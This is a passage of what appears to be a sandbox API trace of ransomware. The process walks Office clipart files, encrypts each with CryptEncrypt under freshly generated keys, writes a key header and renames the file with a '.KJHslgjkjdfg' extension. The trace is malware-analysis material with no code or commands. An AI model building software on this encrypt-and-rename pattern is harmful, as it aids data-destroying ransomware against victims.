lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.617] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.617] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.617] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.617] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.617] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.617] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa38, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa38, lpOverlapped=0x0) returned 1 [0196.617] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa40, dwBufLen=0xa40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa40) returned 1 [0196.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.617] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa40, lpOverlapped=0x0) returned 1 [0196.618] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.618] SetEndOfFile (hFile=0x130) returned 1 [0196.619] GetProcessHeap () returned 0x2ef0000 [0196.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.619] GetProcessHeap () returned 0x2ef0000 [0196.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.kjhslgjkjdfg")) returned 1 [0196.619] CloseHandle (hObject=0x130) returned 1 [0196.620] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0196.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.620] GetProcessHeap () returned 0x2ef0000 [0196.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.620] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.620] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0196.622] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.622] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.622] GetProcessHeap () returned 0x2ef0000 [0196.622] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.622] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.622] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.622] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.622] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.622] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.623] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.623] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.623] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.623] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.623] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6852, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6852, lpOverlapped=0x0) returned 1 [0196.624] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6860, dwBufLen=0x6860 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6860) returned 1 [0196.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.624] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6860, lpOverlapped=0x0) returned 1 [0196.624] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.624] SetEndOfFile (hFile=0x130) returned 1 [0196.626] GetProcessHeap () returned 0x2ef0000 [0196.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.627] GetProcessHeap () returned 0x2ef0000 [0196.627] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.kjhslgjkjdfg")) returned 1 [0196.627] CloseHandle (hObject=0x130) returned 1 [0196.627] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0196.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.628] GetProcessHeap () returned 0x2ef0000 [0196.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.628] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.628] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.628] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.628] GetProcessHeap () returned 0x2ef0000 [0196.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.628] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.628] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.628] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.631] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.631] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa90, lpOverlapped=0x0) returned 1 [0196.631] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa90, dwBufLen=0xa90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa90) returned 1 [0196.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.631] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa90, lpOverlapped=0x0) returned 1 [0196.631] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.631] SetEndOfFile (hFile=0x130) returned 1 [0196.633] GetProcessHeap () returned 0x2ef0000 [0196.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.633] GetProcessHeap () returned 0x2ef0000 [0196.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.kjhslgjkjdfg")) returned 1 [0196.634] CloseHandle (hObject=0x130) returned 1 [0196.634] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0196.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.635] GetProcessHeap () returned 0x2ef0000 [0196.635] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.635] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.642] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.642] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.642] GetProcessHeap () returned 0x2ef0000 [0196.642] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.642] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.642] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.642] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.642] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.642] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.642] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.643] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.643] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.643] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.643] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x52c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x52c, lpOverlapped=0x0) returned 1 [0196.643] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x530, dwBufLen=0x530 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x530) returned 1 [0196.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.643] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x530, lpOverlapped=0x0) returned 1 [0196.643] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.643] SetEndOfFile (hFile=0x130) returned 1 [0196.645] GetProcessHeap () returned 0x2ef0000 [0196.645] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.645] GetProcessHeap () returned 0x2ef0000 [0196.645] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.kjhslgjkjdfg")) returned 1 [0196.646] CloseHandle (hObject=0x130) returned 1 [0196.647] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0196.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.647] GetProcessHeap () returned 0x2ef0000 [0196.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.647] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.647] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.654] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.654] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.654] GetProcessHeap () returned 0x2ef0000 [0196.654] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.654] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.654] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.655] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.655] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: 